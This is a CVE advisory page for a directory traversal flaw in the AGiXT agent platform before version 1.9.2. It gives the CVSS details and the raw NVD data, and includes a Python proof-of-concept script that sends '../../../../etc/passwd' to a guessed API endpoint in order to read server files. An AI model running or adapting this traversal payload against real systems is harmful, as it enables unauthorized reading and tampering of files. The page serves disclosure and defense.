Security Vulnerability Report
中文
CVE-2026-39981 CVSS 8.8 HIGH

CVE-2026-39981

Published: 2026-04-09 18:17:02
Last Modified: 2026-05-13 15:52:11

Description

AGiXT is a dynamic AI Agent Automation Platform. Prior to 1.9.2, the safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance. This vulnerability is fixed in 1.9.2.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:agixt:agixt:*:*:*:*:*:*:*:* - VULNERABLE
AGiXT < 1.9.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Concept for CVE-2026-39981 # This script demonstrates the directory traversal vulnerability in AGiXT. # An authenticated attacker can read arbitrary files on the server. import requests # Configuration target_url = "http://localhost:7437/api/agent/ability" # Example endpoint auth_token = "YOUR_LOW_PRIVILEGED_AUTH_TOKEN" agent_id = "TARGET_AGENT_ID" # The vulnerable ability uses safe_join() improperly # We use '../' to traverse out of the workspace malicious_path = "../../../../etc/passwd" payload = { "ability_name": "read_file", # Hypothetical ability triggering safe_join "path": malicious_path } headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } try: response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! File content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39981", "sourceIdentifier": "[email protected]", "published": "2026-04-09T18:17:02.350", "lastModified": "2026-05-13T15:52:11.150", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "AGiXT is a dynamic AI Agent Automation Platform. Prior to 1.9.2, the safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance. This vulnerability is fixed in 1.9.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:agixt:agixt:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.9.2", "matchCriteriaId": "6F449F33-93CD-4458-90EA-D08F96F8B919"}]}]}], "references": [{"url": "https://github.com/Josh-XT/AGiXT/commit/2079ea5a88fa671a921bf0b5eba887a5a1b73d5f", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/Josh-XT/AGiXT/releases/tag/v1.9.2", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/Josh-XT/AGiXT/security/advisories/GHSA-5gfj-64gh-mgmw", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}